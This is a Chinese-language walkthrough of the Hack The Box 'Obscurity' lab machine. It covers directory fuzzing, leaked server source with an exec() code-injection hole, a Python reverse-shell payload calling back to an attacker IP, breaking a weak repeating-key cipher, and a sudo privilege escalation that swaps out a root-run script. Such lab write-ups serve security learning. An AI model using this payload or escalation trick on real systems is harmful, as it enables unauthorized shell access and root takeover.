Hack-the-box-Obscurity
2020-02-02 21:24:55 Author: forum.90sec.com(查看原文) 阅读量:1117 收藏

前言

这个题目真是让人摸不着头脑
QLilnS.png

艰难的开始

开局常规nmap扫描

QLiU10.png

访问8080,看到如下界面

QLmaex.png

整个页面看完发现一个关键字

QLmySH.png

wfuzz跑

wfuzz -w /usr/share/wfuzz/wordlist/general/big.txt --hc '403,404' -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py

QLnN9g.md.png

得到源码

QLndjs.png

审计了一下

import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess

respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

{body}
"""
DOC_ROOT = "DocRoot"

CODES = {"200": "OK", 
        "304": "NOT MODIFIED",
        "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", 
        "500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", 
        "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", 
        "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}


class Response:
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)
        now = datetime.now()
        self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
    def stringResponse(self):
        return respTemplate.format(**self.__dict__)

class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
        except:
            self.good = False

    def parseRequest(self, request):        
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        print({"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}


class Server:
    def __init__(self, host, port):    
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept()
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()

    def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size) #socket接收到的数据
                if data:
                    # Set the response to echo back the recieved data 
                    req = Request(data.decode()) #解码之后交给Request
                    self.handleRequest(req, client, address) #把得到的json数据和客户端与发服务端交给handleRequest函数
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False
    
    def handleRequest(self, request, conn, address):
        if request.good: #request.good为True则调用serveDoc函数
#            try:
                # print(str(request.method) + " " + str(request.doc), end=' ')
                # print("from {0}".format(address[0]))
#            except Exception as e:
#                print(e)
            document = self.serveDoc(request.doc, DOC_ROOT) #传入了路径和DOC_ROOT
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]
        
        statusCode=CODES[statusNum]
        dateSent = ""
        server = "BadHTTPServer"
        modified = ""
        length = len(body)
        contentType = document["mime"] # Try and identify MIME type from string
        connectionType = "Closed"


        resp = Response(
        statusNum=statusNum, statusCode=statusCode, 
        dateSent = dateSent, server = server, 
        modified = modified, length = length, 
        contentType = contentType, connectionType = connectionType, 
        body = body
        )

        data = resp.stringResponse()
        if not data:
            return -1
        conn.send(data.encode())
        return 0

    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path) #url解码
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            print(info.format(path))
            exec(info.format(path)) # This is how you do string formatting, right? #将路径放入exec
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                try:
                    with open(requested, "r") as f:
                        data = f.read()
                except:
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
            else:
                errorPage = os.path.join(docRoot, "errors", "404.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read().format(path)
                status = "404"
        except Exception as e:
            print(e)
            errorPage = os.path.join(docRoot, "errors", "500.html")
            mime = "text/html"
            with open(errorPage, "r") as f:
                data = f.read()
            status = "500"
        return {"body": data, "mime": mime, "status": status}

if __name__ == '__main__':
    obj=Server('127.0.0.1',80)
    obj.listen()

这个使用了socket来做路由,处理路径的时候使用了exec函数。造成RCE,本地测试了一下,大概是这样子

QLukvj.png

那么构造一个反弹shell的就好了

';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.60",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在寻找的过程中发现home目录下有个叫robert的文件夹

QLuoss.png

全部弄到本地,发现了txt都被加密了

QLKpLR.png

分析了一下那个py,是个加密脚本。我当时就懵了,我特么来到这里你给我搞这个玩意

import sys
import argparse

def encrypt(text, key):
    keylen = len(key) #key的长度
    keyPos = 0
    encrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted

def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted

parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')

parser.add_argument('-i',
                    metavar='InFile',
                    type=str,
                    help='The file to read', #读取要加密的文件
                    required=False)

parser.add_argument('-o',
                    metavar='OutFile',
                    type=str,
                    help='Where to output the encrypted/decrypted file', #输出文件
                    required=False)

parser.add_argument('-k',
                    metavar='Key',
                    type=str,
                    help='Key to use', #key文件
                    required=False)

parser.add_argument('-d', action='store_true', help='Decrypt mode')

args = parser.parse_args()

banner = "################################\n"
banner+= "#           BEGINNING          #\n"
banner+= "#    SUPER SECURE ENCRYPTOR    #\n"
banner+= "################################\n"
banner += "  ############################\n"
banner += "  #        FILE MODE         #\n"
banner += "  ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
    print("Missing args")
    print(parser.print_help())
else:
    if args.d:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Decrypting...")
        decrypted = decrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(decrypted)
    else:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Encrypting...")
        encrypted = encrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(encrypted)

瞎折腾半天好,想起了check.txt的提示

QLK1Ff.png

翻译了一下

QLMehT.png

所以翻译成中文的感觉让我搞了一下午....原本想写个爆破的,想了一下都不知道怎么验证弄出来的字母是不是对的
(原来这个是提示你check.txt是用于解密out.txt获取密钥,然后在用密钥解密password.txt。我佛了)

最后尝试使用check.txt解密out.txt
QLMoEq.md.png

QLMyUP.png

最后用这个密钥解码的时候,解码出来的是死活是乱码我拷到pycharm一弄原来是特么的编码问题

QLQpUx.png

之后登陆ssh

ssh [email protected]
QLQhRO.png

之后需要提权到root拿root.txt,那么Linux提权第一步死不要脸sudo -l
QLlNOH.md.png

接下来使用偷龙换凤之术
要求
sudo -l的时候某个玩意允许以root权限运行,而且还指定了路径

[email protected]:~$ sudo -l
Matching Defaults entries for robert on obscure:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User robert may run the following commands on obscure:
    (ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

首先把BetterSSH文件夹改名成别的,然后自己创建一个BetterSSH文件夹,py的内容
改为执行命令的,在用sudo执行python3此时就是root权限

sudo python3 /home/robert/BetterSSH/BetterSSH.py
QLPBFA.png
QLPySP.png

文章来源: https://forum.90sec.com/t/topic/730/2
如有侵权请联系:admin#unsafe.sh